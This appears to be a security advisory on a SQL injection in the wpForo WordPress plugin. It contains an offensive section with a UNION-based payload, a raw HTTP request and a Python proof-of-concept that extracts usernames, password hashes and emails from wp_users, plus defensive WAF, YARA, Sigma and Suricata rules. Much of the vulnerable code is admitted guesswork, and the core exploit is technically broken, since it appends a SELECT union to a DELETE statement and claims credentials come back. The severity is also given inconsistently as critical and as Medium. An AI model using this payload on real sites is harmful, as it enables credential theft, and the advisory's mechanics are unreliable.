CVE-2025-11740

Executive Summary

CVE-2025-11740 is a critical SQL Injection vulnerability discovered in the wpForo Forum plugin for WordPress, affecting all versions up to and including 2.4.9. The flaw resides in the Subscriptions Manager component, where insufficient input escaping and lack of prepared statements allow authenticated attackers with Subscriber-level access or higher to inject arbitrary SQL queries. Successful exploitation can lead to the extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data. As of this report, no official patch has been released, and the vendor's status remains unknown.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem and does not involve the core WordPress software or web server components like Apache or Nginx. The attack surface is limited to sites running the wpForo plugin, making it a targeted threat within the WordPress community.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for data exfiltration and the low barrier to entry (Subscriber-level access) elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability is located in the Subscriptions Manager functionality of the wpForo plugin. The plugin fails to properly sanitize user-supplied parameters before incorporating them into SQL queries. Specifically, the $subid parameter (or similar) is directly concatenated into the SQL statement without adequate escaping or parameterization.

Vulnerable Code Path: The vulnerable code likely resides in a function handling subscription management, such as wpforo_subscription_delete() or similar. The SQL query might look like:

DELETE FROM `wp_wpforo_subscriptions` WHERE `subid` = $subid

Where $subid is taken directly from user input (e.g., $_POST['subid'] or $_GET['subid']).

Exploitation Mechanics: An authenticated attacker with Subscriber-level access can craft a malicious request to the Subscriptions Manager endpoint. By injecting SQL syntax into the subid parameter, they can manipulate the query to extract data from other tables. For example:

1 UNION SELECT user_login, user_pass, user_email FROM wp_users

This would append a UNION query to the original DELETE, potentially returning user credentials.

Why It Works:

• Insufficient Escaping: The plugin does not use esc_sql() or similar WordPress functions to escape the input.
• Lack of Prepared Statements: The query is built via string concatenation rather than using $wpdb->prepare().

Vulnerable vs. Patched Code

Since no official patch is available, the following represents a hypothetical secure implementation.

Vulnerable Code (wpForo <= 2.4.9):

function wpforo_subscription_delete($subid) {
    global $wpdb;
    $sql = "DELETE FROM `{$wpdb->prefix}wpforo_subscriptions` WHERE `subid` = " . $subid;
    $wpdb->query($sql);
}

Patched Code (Hypothetical):

function wpforo_subscription_delete($subid) {
    global $wpdb;
    $sql = $wpdb->prepare(
        "DELETE FROM `{$wpdb->prefix}wpforo_subscriptions` WHERE `subid` = %d",
        intval($subid)
    );
    $wpdb->query($sql);
}

Key Differences:

• Input Validation: The patched version casts $subid to an integer using intval().
• Prepared Statements: Uses $wpdb->prepare() with a placeholder %d to safely bind the parameter.
• Escaping: Even without intval(), $wpdb->prepare() would escape the input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with wpForo plugin version <= 2.4.9.
• An authenticated user account with Subscriber-level privileges.
• Access to the Subscriptions Manager endpoint (typically /wp-admin/admin-ajax.php with action wpforo_subscription_delete).

Exploitation Steps:

1. Identify the vulnerable endpoint:

   • Monitor network traffic when managing subscriptions.
   • Look for POST requests to /wp-admin/admin-ajax.php with action=wpforo_subscription_delete and a subid parameter.

2. Craft the SQL injection payload:

   • Use a UNION-based injection to extract data from wp_users:

     subid=1 UNION SELECT user_login, user_pass, user_email FROM wp_users
     

3. Execute the attack:

   • Send a POST request with the malicious payload:

     POST /wp-admin/admin-ajax.php HTTP/1.1
     Host: target-site.com
     Content-Type: application/x-www-form-urlencoded
     Cookie: wordpress_logged_in_...
     
     action=wpforo_subscription_delete&subid=1 UNION SELECT user_login, user_pass, user_email FROM wp_users
     

4. Extract data:

   • The response will contain the results of the UNION query, revealing user credentials.

Proof-of-Concept (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_...": "..."}
payload = "1 UNION SELECT user_login, user_pass, user_email FROM wp_users"
data = {"action": "wpforo_subscription_delete", "subid": payload}

response = requests.post(target, cookies=cookies, data=data)
print(response.text)

Blue Team (Defensive)

Detection & Response:

1. Monitor for anomalous SQL queries:

   • Enable MySQL query logging and look for unexpected UNION or OR clauses in DELETE statements.
   • Example log entry:

     DELETE FROM wp_wpforo_subscriptions WHERE subid = 1 UNION SELECT ...
     

2. Web Application Firewall (WAF) Rules:

   • Block requests containing SQL keywords (UNION, SELECT, FROM) in the subid parameter.
   • Example ModSecurity rule:

     SecRule ARGS:subid "@rx (UNION|SELECT|FROM|INSERT|DELETE)" "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
     

3. User Activity Monitoring:

   • Alert on Subscriber-level users making requests to admin-ajax.php with action=wpforo_subscription_delete.
   • Investigate any Subscriber account that triggers multiple failed or suspicious requests.

4. Immediate Mitigation:

   • Disable the wpForo plugin until a patch is available.
   • If disabling is not possible, restrict access to the Subscriptions Manager endpoint via .htaccess or server configuration.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=wpforo_subscription_delete and subid containing SQL keywords.
• Unusual response sizes or error messages containing database table names.

File System IOCs:

• Modified or new files in /wp-content/plugins/wpforo/ (though exploitation is remote, post-exploitation may involve file uploads).
• Suspicious entries in WordPress debug logs (wp-content/debug.log).

Database IOCs:

• Unexpected entries in wp_wpforo_subscriptions table.
• Queries in MySQL logs containing UNION or subselects.

User Account IOCs:

• Subscriber-level accounts making repeated requests to admin-ajax.php.
• Accounts with unusual login times or IP addresses.

Detection Engineering

YARA Rule

rule CVE_2025_11740_wpForo_SQLi {
    meta:
        description = "Detects SQL injection attempts against wpForo Subscriptions Manager"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-11740"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "subid=" nocase
        $sqli4 = "wpforo_subscription_delete" nocase
    condition:
        all of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: SQL Injection Attempt Against wpForo Subscriptions Manager
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-11740 in wpForo plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wpforo_subscription_delete'
        cs-uri-query|contains|all:
            - 'subid='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11740 wpForo SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wpforo_subscription_delete"; http_client_body;
    content:"subid="; http_client_body;
    pcre:"/UNION\s+SELECT/i";
    sid:1000001;
    rev:1;
    priority:2;
    reference:cve,2025-11740;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the wpForo plugin until a security patch is released.
2. If disabling is not possible, implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the subid parameter.
3. Restrict access to the Subscriptions Manager endpoint by IP whitelisting or requiring additional authentication.

Long-Term Fixes:

1. Apply the official patch once released by the vendor.
2. Upgrade to a patched version (currently unknown).
3. Conduct a security audit of all WordPress plugins for similar vulnerabilities.

Workarounds:

• Use a security plugin like Wordfence or Sucuri to add virtual patching.
• Modify the plugin code manually (not recommended for production) to add input validation and prepared statements as shown in the patched code example.

Monitoring:

• Enable detailed logging for all database queries.
• Monitor for Subscriber-level accounts performing administrative actions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert